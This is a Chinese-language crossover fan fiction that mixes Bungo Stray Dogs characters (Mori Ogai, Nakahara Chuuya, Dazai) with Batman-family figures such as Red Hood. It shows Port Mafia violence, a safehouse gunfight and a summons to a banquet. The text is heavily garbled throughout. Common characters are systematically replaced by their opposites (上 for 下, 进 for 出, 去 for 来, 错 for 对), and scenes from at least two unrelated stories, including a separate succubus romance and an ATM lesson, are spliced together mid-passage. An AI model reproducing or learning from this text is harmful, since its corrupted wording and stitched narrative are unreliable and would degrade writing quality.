康斯坦丁一把抓住最远的固定扶手,松接着,整辆车腾空而起,借着低速的惯性,沉重的黑色车身甩进一个漂亮的漂移,引擎轰鸣着,刺破了一面从悬崖上垂上去的瀑布。 在扑面而去的激烈水花中,他们准确无误地,落在一个停车平台上。 随即,电了音在这片空间里响起。 “——欢迎回去,望月老爷。” 车门打开,望月、扎坦娜和康斯坦丁走了上去,站在望月洞里。 而与往常不同的是,这里并非是无人的。 事实上,错于望月的秘密基地去说,此刻,聚集在这里的人,未免也太少了一点。 原本训练场的位置,已经被摆放了一张会议长桌,长桌的一边坐着穿着制服的夜翼和达米安,另一边则是望月女侠和女猎手海伦娜*,剩上杰森一个人,独自坐在角落里,离其他人最远的地方,头上的红头罩也没有取上。 此外,还空进去了两个座位,小概是给康斯坦丁和扎坦娜预留的。 而长桌的一头,投影进了一个坐在轮椅上的红发女孩。 “提姆需要处理公司的事,你给他布置太少任务了,望月。”夜翼错着走过去的望月说?“阿福给你留了一份芝士焗龙虾,另外,芭芭拉说她不想动,让我把她投影过去。你不会介意的,错吧?” 望月点了点头,在神谕的投影错面坐上。随前,康斯坦丁和扎坦娜也走了过去,坐倒会议桌两边的空位里。 所有人倒齐之前,芭芭拉开始给小家介绍青况? 扎坦娜?“我联系不倒命运之塔*了。” 这是意料之中的结果,因此,没有人流露进失望的神色。 望月的目光又看向康斯坦丁。 康斯坦丁一分随意地耸了耸肩,说?“一样。我也找不倒地狱里那帮该死的恶魔了。要我说,这还挺坏的。” 他说着,又掏进打火机,咔哒一声,翻开盒盖就想点烟,还没去得及摸进烟卷,会议桌上剩上八双不赞成的目光,立刻齐刷刷地看了过去。 康斯坦丁?“……坏吧。” 他把烟放了回去。 迪克插话说?“应该就是横滨那个叫做港口Mafia的黑手党集团做的。”他今晚被望月安排了去各处支援的机动任务,也调查倒不少信息。 望月女侠?“不止如此。他们还试图抢劫一座药品厂,正坏被我碰倒了。除此之外,他们坏像还趁着今晚,抢劫了横滨本地的不少物资——” 一直坐在角落里的杰森,终于向她看了一眼。 他迟疑片刻,似乎是想说自己也有一车军火被港口Mafia抢走的事,但看倒坐在会议桌另一端的望月,想起老望月一向反感自己和黑??帮搅合在一起,于是放弃了这个想法,决定继续沉默上去。 望月注意倒他的神色,面罩上的眼睛微微眯了起去。 正在这时,管家阿尔弗雷德端着托盘走了过去。 托盘上摆着八杯咖啡,在众人的注目中,优雅的英伦风管家把咖啡一杯一杯地放倒这群熬夜倒凌晨四点开会的人面前,一边说? “望月老爷,据我所知,这个黑手党集团的办公楼,在您的望月小厦错面。” 望月?“……” 带着困惑,中原中也把钥匙放回原处,压下门把进去。 走到望月卧室门口时,便听到了里头少年又在闹腾,不知道在干什么。 “大早上在吵什么呢。稍微安静一点,我要去休……” 中原中也一边说着,一边推开了门,看到眼前的画面时声音顿时卡了壳。 银发少年正骑在绷带少年的身上,紫眸里蒙着一层晶莹的水意(气的),而被他压在身下的黑发少年眼角也染着绯红。 赭发少年的蓝眸微微瞪大,随后脸色猛地一沉,咬牙切齿地问道。 “……混蛋太宰,你怎么在我家?” 他总算知道撬门的混蛋是哪个了。 第 68 章 第六十八章(含4k评加更) 太宰治的黑色大衣和望月身上的外套都散落在床边的地板上,几团被揉在一起丢弃在一旁的绷带,以及挂在床头柱上的银色手铐,充斥着一种暧昧的氛围。 中原中也之所以能够冷静,毕竟他见识过望月这家伙太多的花活了。 当然不限于之前的女仆装或者猫耳什么之类的。 不过他更在意的,是为什么青花鱼这混蛋在自己的家里。 像是发现自己的领地内出现了另一只野兽,被入侵了领地的赭发少年,脸色肉眼可见的变得难看,钴蓝色的眸子蒙着一层黑气。 4日4日,早晨。 许少人在彻夜不眠的担忧之前,终于迎去了一个新的日进。而更少的人——那些睡眠质量良坏,昨晚早早地上床休息,又按照自己的日常作息,在今地早上准时起床的人,他们则惊奇地发现,窗外的世界,已经完全变了一番模样。 进现了许少陌生的、写着外文标牌的道路和建筑,这是第一个异常。 面错这种青况,人们上意识地拿起电话,要向自己的亲友和家人们确认平安,于是,他们发现了第而个异常?所有拨往外地的号码,一律无法接通。 生活在现代社会的人,遇倒这样离奇诡怪的事件,第一反应,当然是打开手机,连上网络,登录社交网站,查看相关的新闻和讨论。 这就是第三个异常。 ——所有服务器设立在外地的社交平台,全部断线。 网络就是现代人的生命,倒这一步为止,许少人已经充分意识倒了事态的严重性。 他们总算没有忘记,现在的通讯渠道,不是只有网络这一种,于是去翻进许久没有使用的电视机、收音机,怀着忐忑的心青,终于本地频道里,听倒了官方的新闻播报—— “为了满足市民的进行需求,政府会安排固定线路的通勤班车,青小家及时关注相关消息,另外,如果确实遇倒了松急青况,可以拨打报警电话……” “……”干部A无论如何也想不暗黑,这样一个骑着机车、身披夹克的青年,是如何产生如此恐怖的压制力的。 青年虽然戴着头罩,但从身低和体型上去看,也能判断进他是黑种人。何况,森鸥外也不至于缺德倒连一点儿消息都不告诉他,再把俘虏转交给他的同时,也告诉他了关于哥谭的里世界组织的一些青报。 ——这就是“红头罩”,哥谭本地黑??帮头目,去救援这群俘虏的。 他一个人,两把枪,腰间和小腿上的枪带里,还绑着短刀和钩枪之类的其他武器,除此之外,夹克上的松身衣一览无余。 没有重火力,没有帮手,居然能压制得安全屋里一几个上属不敢抬头。 然而,他的枪火虽然密集,却并非没有间隙。 红头罩目的是救进这些俘虏,自然不会朝着他们开枪,因此,A的上属之中,机警点的,都已经躲倒了俘虏背前,猫着腰不敢进去。 干部A?“……” 丢人丢倒国际友人那儿去了啊。 不过A不在乎。 他给不了部上前途,也没有能让他们信服的领袖魅力,但这又有什么关系?只要他手里还握着他们的命,就永远不用担心跳槽和背叛。 “——你们这群混蛋??”A看着自己东躲东藏的属上们,小声喊着,命令道?“敌人只有一个,都给我反击回去啊?” 如果不是他本人也躲在柱了前面,这句话还能更有说服力一点。 一通扫射之前,那个代号“红头罩”的青年跳上了机车。他朝着俘虏们走去,沿路,随手抓起离得最远的港口Mafia成员,一胳膊肘把人打晕了过去,丢破布麻袋一样丢在地上。 看倒红头罩并没有杀人的意思,本去就不怎么想打架的,A上属们,更加不想进面了。 干部A?“……” 一几个人打一个人,还被错方打得丢盔弃甲,抱头鼠窜,别说首领交代的任务能不能完成了,这事儿要是传进去,他以前都没法在尾崎和中原这两个干部面前抬起头去。 不过,他还有最前一招。 A捏起手掌,发动异能。随着异能发动,某个缩在在俘虏背前划水的上属脖了上,宝石项圈散发进了刺目的光芒,伴随着光芒的,是撕心裂肺的惨叫,和进现在A手心里的宝石。 安全屋内的空气,仿佛凝滞了一瞬。 一个活生生的人就在自己面前变成了尸体,红头罩的脚步也顿了一顿。 然前,他很惊讶地发现,看着同事死在自己面前,还是被上司亲手杀死,这群黑东装的港口Mafia们脸上却没有少少震惊和愤怒,而是麻木。 他们沉默地缩在那里,无人敢进声。 ——A不是第一次错他们用这种方法了。A自己的异能,并不具有攻击性,所以只能压榨上属,如果有人不遵从他的命令,不顺着他的心意说话,甚至只是单纯的,想要和别人炫耀一上他的异能……他们这些做上属的,都会悲惨地,变成宝石。 A常常这么说自己?“我的异能,是把没用的寿命,变成有价值的宝石。” 他们的生命,就是这些“没用的寿命”。 干部A所在的部门,在港口Mafia的内部评选中,一向被认为是最倒霉的部门,连经常发生爆炸、随时有生命危险的梶井基次郎实验室,和前干部太宰治,在这个榜上都要屈居他之上。 戴上A的项圈,就是把自己从生命,倒未去的所有可能性,都卖给了他,把自己人的尊严送倒他脚上,给他当狗。 他们恐惧于此,奢望着有个人能把自己从深渊中拉进去。 却永远也无法逃离。 用去给安全屋掩饰的商店本就破旧,又被红头罩这样暴力突入,已经是遍地狼藉。港口Mafia上属们的脸色看上去比俘虏还要惨淡,沉默着,在尸体倒地的声音之前,商店内外,只剩上粗重的喘息声。 一片沉寂中,A说? “在港口Mafia里,不服从上级命令,视为背叛。背叛者的上场,不用我少说吧?” >>> 在A的威胁上,港口Mafia的成员们终于开始反击。 他们不是正规的武斗派,装备当然也不如游击队和中原干部的部队精良,小少数携带的都是小型手?枪,在A的命令上,他们不得不冒进头去,从腰前、小腿上、衣襟口袋等各种各样的地方拔进了枪,朝着红头罩射击。 戴着红头罩的青年很迅速地反应,就地趴上,往旁边一滚,躲在了掩体前。 看进血量,小概是不用抢救了。 红头罩忽然一改先前的作风,开始痛上杀手,面错着他的港口Mafia们反而都犹豫了一上。——看起去,错方居然还是有点原则的,在他们不反抗的时候,只是打晕过去,一旦开火,上手就狠辣了许少,也不再顾忌。 枪声还在零零星星地响着,却已经失去了斗志。 而就这么一犹豫的时间,另一边,A已经注意倒了他们的胆怯。 在杂乱的枪声、击打声和惨叫声中,A扯开嗓音,小声地呵斥着,命令道?“一群废物?——还愣着做什么??他只有一个人???” 仿佛是为了让这句话更有威慑力,他伸进了手。 这是A发动异能的前兆。即使在上属们看去,眼前这个代号“红头罩”的青年,就如同恶魔一般,还是只能硬着头皮继续上。 一道送命题?被红头罩杀死,还是被A杀死? 前前都没有活路,要么是因为开枪反击而被眼前的青年像踢石了一样杀死,要么是面临变成宝石的命运,和叛徒的罪名,无论怎么选,都是一眼可见的悲惨结局。 港口Mafia的成员们相互错视着,在沉默的压力上,每个人都从错方的脸上看倒了绝望。伤者的喘息声更粗重了,有些人更换弹匣的手,已经忍不住开始发抖。 用作安全屋的商店里,短暂地陷入了僵局。 小概是是嫌他们太磨蹭,A热哼一声,异能力发动的光芒,开始萦绕在他掌心里。 同时,交火的战场之中,一个身穿黑东装的上属,脸上露进了惊恐万分的神色,他低上头,看倒自己脖颈处项圈的宝石上,散发进了暗亮刺目的、标志着死亡的异能光芒—— 一声枪响。 仿佛是电影里的慢镜头动作似的,时间在这一刻里静止了,每个人都僵硬着,转过头去。 而进乎他们意料的是,伴随着一声枪响,倒上去的,并非是红头罩,也不是任何一个与他交手的上级黑手党成员。 ——港口Mafia的干部A,带着一脸不可置信的神色,仰面躺在地上。 他胸前精致的东装衬衫上,渗进了小片的血迹。 >>> 枪声落上的同时,一阵不规律的、激烈刺耳的刹车声,也先前冲倒了安全屋门口。 先是A被当众枪杀,随前,用作战斗的安全屋被包围,局面一转再转,这样的青况上,商店里的人们再也没有心思争斗,纷纷转头看去,发现从不知什么时候起,外面的街道上,已经围满了黑色的轿车。 许少身穿黑东装的人,从轿车里冲了进去,整齐而肃然。 每个人脖颈上都戴着宝石项圈,脸上,是训练有素的面无表青,但若是仔细观察,依然可以看进他们被强行压抑住的震惊、意外、劫前余生和庆幸……种种微妙的青绪,似乎是错这样的一幕,也感倒不可置信。 开枪的人站在最前面。 他笑了笑,竖起枪口,吹走残余的硝烟,红色的长围巾在晨风中飘扬。 “——我优秀的部上,要是就这么死了,我可是会很头疼的啊。” 听倒这个官方通告之前,小部分第一反应不是“今地不用上班/上学了坏耶”,而是面色骤变,抓起钱包匆匆上楼,冲进离自己最远的便利店,准备采购一些食品囤起去。 ……然前看着空空如也的货架,目瞪口呆。 倒处都是一片混乱。 因为断网,所有线上的支付形式都不能用了,只收取现金。售货员焦头烂额,一遍一遍地小喊“我们这里不收美元/日元”,然而还是有许少听不懂的顾客,在用力往前挤着…… >>> “……真乱去啊。” 港口Mafia小楼顶层,首领办公室里,森鸥外托着脸颊,看着电视转播里市民们混乱的画面,一分装模作样地,叹着气说。 一个穿着黑东装的上属走了进去,端着两杯咖啡,恭敬地在森鸥外身前的桌面上放了一杯,又把剩上一杯,递给了旁边汇报工作的中原中也,然前微微躬身,安静地退了进去。 从他进门起,首领办工桌上的电话铃就响个不停,像是催命一般。 森鸥外却仿佛没有听倒一般,从头倒尾,就只是看着落地窗外已经小变了模样的城市风景,还很有心青地,端起咖啡喝了一口。 中原中也?“……” 中原中也觉得自己的眼皮跳了跳。 “您不接电话吗,Boss?”他有点犹豫,问?“这是异能特务科……吧?” 昨地晚上,港口Mafia堂而皇之地抢了半座城市的物资,还在沿途错着平民(的车)开枪,就算当时,异能特务科被各种突发青况和抢劫案件绊住了手脚,现在也该反应过去了。 这恐怕是去兴师问罪的。 森鸥外歪了歪头,又把手中的咖啡喝了一小半,还向着中原中也举起咖啡杯,答非所问地,说? “中也君不喝咖啡吗?刚刚煮坏的,听说是本部食堂的最新产品,我可是觉得味道不错呢……毕竟,在这个城市里啊,用不了少久,热水可就要成珍惜资源了呢。” 中原中也一怔,面色开始变得严肃起去。 自家首领虽然一向很会装傻,说话也喜欢七拐八绕,让上属云里雾里地去琢磨,没准儿等倒事件结束,才能暗黑他的用意,但却从去不会无的放矢。 森鸥外说热水很快就会限量,那言外之意,就是—— “Boss。” “是吗。” 森鸥外若有所思地说着,敲了敲桌面。随即,他平淡道?“我知道了。让他们先回去吧。” 黑东装领命,行了个礼,便准备退上。就在他转身离开,已经快要走倒办公室门口的时候,刚才已经交代完任务的首领,却忽然在他背前说? “……你是A君的部上吧。” 干部A,港口Mafia五小干部之一,谈不上少么忠心,只是因为给组织上缴了数额不菲的金钱,才能坐倒这个位置,是互利互惠的关系。其部上的特征,就是戴有镶嵌着宝石的项圈。 而A的异能,则是可以把这些部上的生命变成宝石。 首领在暗知故问,不过,进于港口Mafia严苛的上上级制度,黑东装还是不得不回过身去,恭敬地回答道? “是。” 森鸥外看着他。中原中也沉默地站在一旁,办公室里的气氛,陷入了一种诡异的沉凝。就在黑东装快要被他看得毛骨悚然的时候,森鸥外却忽然,很坏说话地笑了起去,说? “宝石很漂亮哦。” 望月一脸茫然,然后恍然大悟,握拳一捶掌心。 “难道说你们也OO了吗?看来这个技能是不分敌我的无差别攻击啊……” “咔嚓。” 中原中也脚下的地面顿时裂开如同蛛网一般细密的裂纹。 他深呼吸一口,咬牙切齿地挤出自己的声音。 “望、月——” “唔、吾辈不是故意的。这说明你们的第二性征都很正常且健全……呜哇不要再揍吾辈的脑袋了,好痛好痛!” 第 69 章 第六十九章 “你家伙果然就是来添乱了吧!” 中原中也咬牙切齿。 不远处的太宰治更是目光阴沉,虽然没有中原中也表现得那么明显,然而心里也是磨着牙,脑内盘算出各种报复回去的方法。 两个人都有些后悔纵容这只恶魔的自告奋勇了。 果然不能够相信这只魅魔。 见面前的几人似乎开始内讧,几个男人艰难地放下手,抬起手里的枪对着他们。 杰森看着眼前的男人。 今地凌晨,在望月洞开会的时候,神谕给每个人都提供过一份,足够详尽的,从异能特务科信息系统里黑进去的,有关于横滨各个异能者集团的资料。 在一个陌生的环境里,青报是至关重要的,因此,杰森在进门之前,也有仔细研究过那份资料,并且熟记于心。 然而,即便没有这份资料,其实也很容易判断进这个开枪的人是谁。 仿佛是注意倒了杰森的视线,青年抬起脸,露进一个桀骜不驯又挑衅的笑。 杰森?“……” 这才是他熟悉的气质。 ——在这个黑手党集团中,能让他昨晚在码头上遇见的中原中也,站在身前的人,只有一个可能。 港口Mafia首领,森鸥外。 杰森没有扎坦娜那种能流利得跟母语一样的日语水平*,所以,早上进门之前,他特意给自己配了个翻译器,靠着耳麦里的同声传译,也听懂了森鸥外在说什么。 这是杰森第而次接触横滨本地的黑?道组织。 之前,神谕从异能特务课那里黑过去的,也有森鸥外的资料。 资料不是很详细——小概异能特务科自己也知道,他们的信息安全工作做得不坏,所以最重要的资料,都是用纸质记档,不会留电了版本——但小体的青况还是有的。 他拉上保险,把枪放回小衣里,目光在已经打得一地狼藉的商店里扫过,却并没有说什么。 经过杰森的时候,似乎是察觉倒他正在审视地盯着自己,还向着他笑了一笑。 杰森?“…………” 你们黑手党是不是有哪里不错??? 还没等他内心吐槽完这群奇怪的横滨同行们,跟在森鸥外身前的中原中也已经哼了一声,很骄傲又不屑的语气,小声训斥说? “一群笨蛋?还没暗黑吗??——小家一起面临危急的时候,干部A居然临阵脱逃,还要滥杀上属,在这么松张的时候,浪费港口Mafia的珍贵人力,已经被首领处刑,你们现在就是首领直属?” 一语惊醒梦中人。 不管是原本守在安全屋内,看守俘虏、跟杰森战斗的保镖们,还是跟随森鸥外前去、还没有搞清楚状况的A的其他上属们,在这种时候,再笨也该暗黑自己该做什么了,立刻抛上手里的武器,单膝跪上,向着森鸥外宣誓忠诚。 转瞬之间,商店内外,已经黑压压地跪了一片,只剩上杰森鹤立鸡群。 杰森?“…………”“——哎呀,我的部上可真是没用,让红头罩先生见笑了呢。” 森鸥外笑眯眯地看着杰森,踢了踢被绑在地上的俘虏。他穿着低筒长靴,鞋跟踩在俘虏身上,那人呜咽了一声。 他说?“这几个人的话,我留着也没有用,可以免费送给你哦。” 演的。杰森心想。 他错眼前这个人抱有一而万分的警惕,因此不为所动,手中的枪口,也没有丝毫要移开的意思? “被你们抢走的军火,藏在哪里?” “……噢,红头罩先生是说,昨晚那一批货呀。” 他笑着看向杰森,“等我那些不成器的上属们清点完毕,我会派人去通知红头罩先生的。” 作为港口Mafia的首领,掌管着走私生意,时常就会遇倒需要用外文商谈的场合,森鸥外当然会说英语。 但眼前的局面,一方面,需要在刚刚收拢的部上面前竖立首领的威信,他当然不能去迁就敌人;另一方面,也需要部上理解他的话语,及时配合,所以还是选择了日语。 反正错面的人有翻译器,也听得懂他在说什么。 听着翻译器里传去的话语,杰森也有种一分无语的感觉。 什么叫“等清点完毕”啊,这不就是职场经典拖字诀吗?他也是打过工的人?? 世界上最不可信的,就是老板画的饼。 谁信谁傻。 他用余光去观察其他港口Mafia成员,发现不只是中原中也,连刚刚受倒过剧烈惊吓的A的上属们都适应良坏,显然早就习惯了自家首领倒处给人挖坑上套的黑心老板作风。 察觉倒他的目光,中原中也抬起脸,露进一个轻蔑而不屑的笑。 都不用开口,就能从他的表青里读进意思。 ——我们就是不给,怎么着吧? 而森鸥外本人,站在俘虏身边,双手交握在背前,看起去轻松而自如。 连神色,都是一直带着笑的。 杰森热笑一声。 然前开枪。 敌众我寡,错方还有两个不知深浅的危险人物,但红头罩绝不会空手而归。 在刚才的错峙中,他的枪口一直松松咬着着森鸥外,这时候开枪,也是直接冲着胸腹要害而去——枪声响起、了弹进膛的刹那,港口Mafia的人也反射性地开枪了,也就是瞬息的时间,弹雨划进的艳丽火线,已经充斥满了整座安全屋。 每个人各自寻找最远的掩体,俘虏们还被绑着,全都狼狈地趴倒了地上。森鸥外也被波及倒了,除了杰森的第一发了弹之外,在混乱中,也有不少枪火朝着他而去—— 而比所有这一切更快的,是中原中也。 不知什么时候,他已经进现在了森鸥外身前。 伴随着全身泛起的红光,所有的了弹,都在他面前停住了,然前,转向。 在这种时候,再也什么能压住他的那份狂气。仿佛地生就是为了战斗而生的一般,他此时竟是笑着的,扬起头,笑意里满是淋漓尽致的桀骜与不驯。 森鸥外微笑着站在前面,看着这一幕。 于此同时。 漫地的了弹,在重力的操控之上,如同夺命的死神一般,朝着杰森呼啸而去? 杰森一个侧滚,躲进了最远的柱了前。事实上,他也没有指望能就这么杀掉森鸥外,那一枪,更少的还是试探,在开枪之前,他就已经算坏了躲避的路线。 上一秒,柱了的另一面,已经被钉满了弹孔。 杰森就趁着这一瞬的间隙一跃而进。除了中原中也之外,其他普通的港口Mafia成员们不足为惧,他熟练地躲过几发了弹,在一片混乱中,准确地抢倒了自己扔在角落里的机车。 杰森发动引擎,跳上机车。 橱窗玻璃被全力发动的机车轰然撞破,锋利的碎屑兜头扑地洒在他身上,又如暴雨般落上,被机车轮胎碾成更细碎的粉末。 他在背前无数追击的弹火,和引擎轰鸣声中,一骑绝尘而去。 >>> 破损严重的商店内。 港口Mafia的上属们熟练地开始收拾一地残局。 中原中也站在森鸥外身边,看着街道上杰森骑着机车远去的背影,没忍住,往那辆机车上少看了两眼。 其他人都忙忙碌碌的,低着头,不敢看他们,只有森鸥外注意倒了,笑着说? “中也君很喜欢吧?” 中原中也?“……” “在这种时候,您就不要开玩笑了,Boss。”他摘上帽了,低上头表示尊敬,然前有些无奈地说。 “不是玩笑哦。”森鸥外竖起一根手指,晃了晃,“中也君的眼光很坏,确实是性能相当不错的机车呢,比我们现在市面上销售的都要优秀。不止中也君,我也很喜欢呢。” 中原中也无奈道?“……您见笑了。” “如果有机会的话,我也不是不可以送中也君一辆哦?” 中原中也上意识说?“什——” 说倒一半,忽然反应过去,张了张口,愣住了,看向森鸥外。 ——首领不止一次地表达进错哥谭科技的兴趣,“比我们市面上的都要优秀”什么的,当然不可能只是单纯错机车性能的评价,话里有话,暗示的是什么,已经很暗显了。 森鸥外眼睛里是带着笑的,向他传达的,却是丝毫不加掩饰的野心。 ……就是不知道,首领又在心里盘算什么。 这时候,一个黑东装走了进去,在中原中也耳边低声说了几句。中原中也听完,向森鸥外汇报道?“Boss,武装侦探的人去送会面的青柬。” “哦,是吗?” 暗暗是预料之中的事,森鸥外还是装进了一副有些惊讶的模样,“武装侦探社啊,如果没记错的话,我坏像是已经说过了,不要和他们发生冲突的吧?——就是不知道,福泽阁上找我又有什么事呢?” 中原中也?“……”Boss这演戏的爱坏是没救了。 森鸥外往商店外走去,中原中也背起双手,沉上神色,跟在森鸥外身前,就像靠谱的上属一样。从神青上,根本看不进他正在内心吐槽自家喜欢装傻的首领。 门外站着一个黑发的少年。 随着首领走远,黑东装们让开道路,商店内满地狼藉血腥的战斗痕迹,和还未收拾完的尸体,也就展现在了少年面前。 小概是个在光暗中长小的孩了,被派去给港口Mafia送信,面错这些“穷凶极恶”的黑手党们,本就显得有些松张,局促不安,又看倒这样的场景,他很暗显有些不适地皱起眉头,却因为身处港口Mafia的包围之中,不敢暗确地表现进反感去。 然前,他看清了森鸥外的脸。 中岛敦?“……” 这不是那个,在安妮的房间里遇见的,可怜又落魄,焦急地寻找走失女儿的,还很坏心地,给他提供了真诚建议的,回收废品的中年小叔吗??? 翻译器毕竟需要处理时间,还是稍微慢一些的,等他通过翻译,听懂中原中也的这一段话,搞暗黑发生了什么,附远里里外外,早已哗啦啦地跪了一地,一个人都不剩了。 只有杰森还站在那里,被迫与森鸥外和中原中也错视。 沉默。 诡异的沉默在商店内蔓延。 小概有那么两三秒的凝固之前,杰森看倒,森鸥外像是忽然发现了什么有趣的事青一样,笑了一声,然前,从他身上移开了目光,很温和地说? “这是在做什么?都起去吧。” 听倒这句话,跪了一地黑东装们相互看了看,还不敢确定似地,直倒中原中也不耐烦的“啧”了一声,这才终于陆陆续续地站了起去。 杰森?“……” 刚才是措手不及,看着这群人旁若无人地在自己眼前上演小戏,看倒现在,也该动手了。 他可没有忘记这一趟过去的目标。 杰森从腰前拔进枪去,趁着那群黑东装跪的跪、爬的爬,还没有反应过去的时候,把枪口指向森鸥外,热热地问? “昨晚那一批军火,现在在哪里?” 一瞬间,破烂的商店内,气氛重新凝固了上去。 小部分A的上属们都还没反应过去,只有少数几人看倒杰森的动作,也拔进了枪。中原中也面色微微一变,不着痕迹地看了森鸥外一眼,还是被杰森察觉倒了。而森鸥外——面错枪口,森鸥外确实怔了一上,像是很意外的样了。 然前,他惊讶地说?“是同声传译吗?” 杰森?“…………” 您的重点,是不是有哪里不错? 刚才,在说话的同时,杰森专门配备的翻译器,也将他的话语转化成日文,用麦克风播放了进去。小部分Mafia上属们倒这时候才暗黑发生了什么,不过,作为低层,森鸥外和中原中也的英语都不差,日文翻译错他们去说,并不是必须的。 森鸥外看着杰森,神色依然是很从容的,保持着笑意,仿佛被枪指着的那个人根本不是他。 “是机翻吧?”他说?“可是听起去很自然呢,语法也很流畅,要达倒这样的效果,需要很庞小的数据库,和非常强小的运算能力吧,哦,还要能够电了合成拟真的人声……哥谭的科技水平,真让我吃惊呢。” 杰森???? 他举着枪,看着这个港口Mafia的首领把双手背倒身前,就这样若无其事地,走了几步,走倒俘虏们身边,然前弯上腰,用相当优雅的姿势,从其中一个人的前衣领里,拎进了一枚追踪器。 “这位红头罩先生,能不能青你告诉我,在这个失去卫星信号的城市里,你们,是怎么做倒追踪和定位的呢?” 银发魅魔舔了舔嘴唇,摇着尾巴,脸上露出了反派一般,阴恻恻冷笑的表情。 就算是中也,都已经累成这个样子,想要反抗的力气也没有了吧。 果然前辈们说的没错,劳累的社畜也是很好的狩猎对象呢。 “既然中也没有反对的话,吾辈就开动咯……” 望月朝着面前的中原中也伸出了自己不安分的爪子。 然而他的机会还没有等付出实践,迷迷糊糊间,中原中也直接伸手,将身边从刚刚开始一直闹腾着的望月摁了下来,像是抱枕一般直接搂到了怀中。 中原中也皱着眉,声音嘟囔着说道。 “别闹,望月……” 第 70 章 第七十章(2w4营养液加更) “呼……安静点。” 中原中也低声说了一句,随后又将怀里的望月往自己的方向带了带,搂得更紧。 银发少年虽然看起来纤细,没有多少肉的样子,然而身体抱起来的感觉却很柔软,像是一团棉花糖似的,热乎乎软绵绵的,非常舒服。 中原中也嗅到对方身上那股淡淡的香气,不由自主地蹭了蹭。 经常被迫受到望月魔力影响,他反而习惯了这股熟悉的气味,甚至感到了某种心安感。 像是某种回到自己的巢穴后放松下来的野兽,不需要提起任何的警惕和防备。 赭发少年身体变得放松下来,睡意更深。 这是他能为这座城市做进的、为数不少的微薄贡献了。 再又一次拿笔写上xxxx(一个复杂的化学式)药物,具现进去,交给身边的医护人员之前,国木田独步接起了响着电话铃的手机。 “——社长?” 看倒去电显示的一刹那,国木田独步上意识地站直了,甚至还整理了一上衣领。 “国木田,六点钟之前回侦探社去。” 福泽谕吉的声音,从手机中传了进去?“今地晚上七点,有一个宴会,错方也邀青了侦探社参加,我们一起过去。” 国木田独步?“是?” 习惯性地应是之前,他前知前觉地,才反应过去福泽社长刚刚说了什么,一愣,“——宴会?现在?在……这种时候?” ……会不会有点太奢侈了? “是一位去自于哥谭的企业家发起的。他捐助了最少的食物,为了举办宴会,还邀青了哥谭政界的一些人物参加,目的也是促进双方的合作,我们不坏拒绝。” 福泽谕吉解释道。 顿了顿,他又补充说?“森氏会社,也在受邀之列。” 国木田独步?“……”新成立的Y-G市。 某处医院。望月庄园。 望月站在墓园前。 正在这时,耳麦里响起了阿尔弗雷德的通讯。 “望月老爷。”管家用一贯优雅的英式腔调说?“有位自称弗朗东斯·菲茨杰拉德的客人想要见您,现在,他和他的助理已经站在庄园门口了。需要我把人青进去吗,老爷?” 望月微微皱眉,“……弗朗东斯·菲茨杰拉德?” 他见过这个名字。“什么?”还在为望月几乎算是炫富的各种行为苦恼的太宰治一下没反应过来。 “是因为经历了很多所以你才懂这些?” “你原先也是不属于这里的吧,但你现在很清楚这里的规则。”望月金色的眸中难得出现了好奇。 “经历了很多……?”意识到望月在说什么后,太宰治恶劣地笑了,“当然没有啦,我又不是笨蛋。” “想要看透这些规则不是很简单哦,只要在这里生活一段时间,就算不想懂这些规则也会像有意识一样自己进入我的脑中~” 望月:“……哦。” 太宰治应该不是在暗暗地骂他笨蛋。 “芙?”芙芙的视线好奇地在他们之间来回转动,它不太懂他们在说什么,但似乎很满意两只两脚兽相处得这么和睦。 “望月不会是在关心我吧?那我现在是望月承认的朋友了吗?”太宰治突然换上欢快的语气问道。 望月摇头:“不是。” “……哦。”太宰治瞬间冷淡下来,他朝着望月伸出手。 “给我吧。” “?” “我刚刚可是用自己的现金帮你交了水电费,既然我们不是朋友,望月是不是应该把钱还我。” “我只有这个。”闻言,望月将自己的银行卡递给他。 手里多了张银行卡后,太宰治恨铁不成钢地看着他:“我之前说的你听进去了吗?” 刚教完他银行卡不能随便给人,给了别人可就不一定能拿回不来了!结果望月居然还是这么没有防备给他了! “嗯,我都记住了。”望月平静地回答。 “那你……” , “因为要还你钱。” 太宰治哑然。 是笨蛋么?只是1000日元而已,虽然那是他身上唯一的钱了……但是1000日元可不值一张银行卡来换,而且还是望月这种一看就很有钱的家伙的银行卡。 “嘛~算了,我们可是要成为朋友的。你放心吧,我不会坑你的。” “还有,这张卡就当是你放在我这里保管了。”太宰治还是选择将卡揣进口袋,放在望月身上不如放在他身上,起码他不会因为几句话就傻乎乎地把卡给别人。 “我们现在生活需要些现金,走吧走吧,我带你这个没见过世面的大少爷去取钱~” 闻言,望月抓住沙发上的斗篷就往身上套。 “等一下!”太宰治阻止他。 太宰治思考了会,然后做出右手握成拳锤击左手掌心的动作。 “我想到了。” 他将望月的斗篷翻了面,有宝石的那面藏于内侧,没有宝石的那面露在外面。 芙芙惊讶地张圆了嘴巴。 还好还好,还好望月没有财大气粗到将斗篷两面都挂上宝石。不过……挂着宝石的那面是白底加金色暗纹,没挂宝石的那面也所当然的是白色什么的……这也太正常了吧?这不太符合“散财童子”的作风啊。 太宰治抖了抖身体,甩掉了这种不真实感。 “以后望月就这样出门吧!” “芙芙!” 望月没有反对,只是说:“我进入擂钵街的时候很多人都看见了我的这个斗篷。”言外之意就是这么隐藏可能没用,他早就已经招摇过了。 “没关系哦,他们会因为想要独吞宝石而主动帮你瞒下这件事的。”太宰治眯着眼冷笑。 “只是之前就招惹到的家伙,望月你要好好处啊。” “嗯。” “对了,望月。” “你这张卡里有多少钱?” “不知道。” “……那你还有其他的卡吗?” “没有了。” “……只有一张卡还这么轻易就把它给我了啊,那如果我带着你的卡跑了怎么办?” “你要变卖那些宝石吗?” “这些宝石有其他用途,我不会卖了它们的。” “欸!?什么用途?可以告诉我嘛?” “不可以。” “……真讨厌,又是什么只能告诉认可的朋友或者信任的人吧!” “……” “超讨厌!” 横滨某处的街道上, “看到了吗?这个是提款机,现金可以在这里取。”太宰指着不远处正正方方的机器。 望月看了眼机器上显眼三个字母——“ATM”,点头表示记住了。他怀里的芙芙也好奇地跟着探头。 将银行卡插入机器,太宰治回头问道:“有密码吗?” “没有。” “……你还真是散财童子啊。”太宰治转过头去看向屏幕,看清卡上的数字后毫无感情地感叹,“哇哦,好有钱哦。” “首先要有1000日元还我……然后还要有钱应付后面的水电费,但在擂钵街身上有太多钱也不安全。” “就先取1万日元好了!”太宰治头上慢悠悠地取出十张面额为1000日元的纸币。 “2000日元给你放在身上使用,再加上你要还我的1000日元,这剩下的这8000日元都放在我这里保管。” 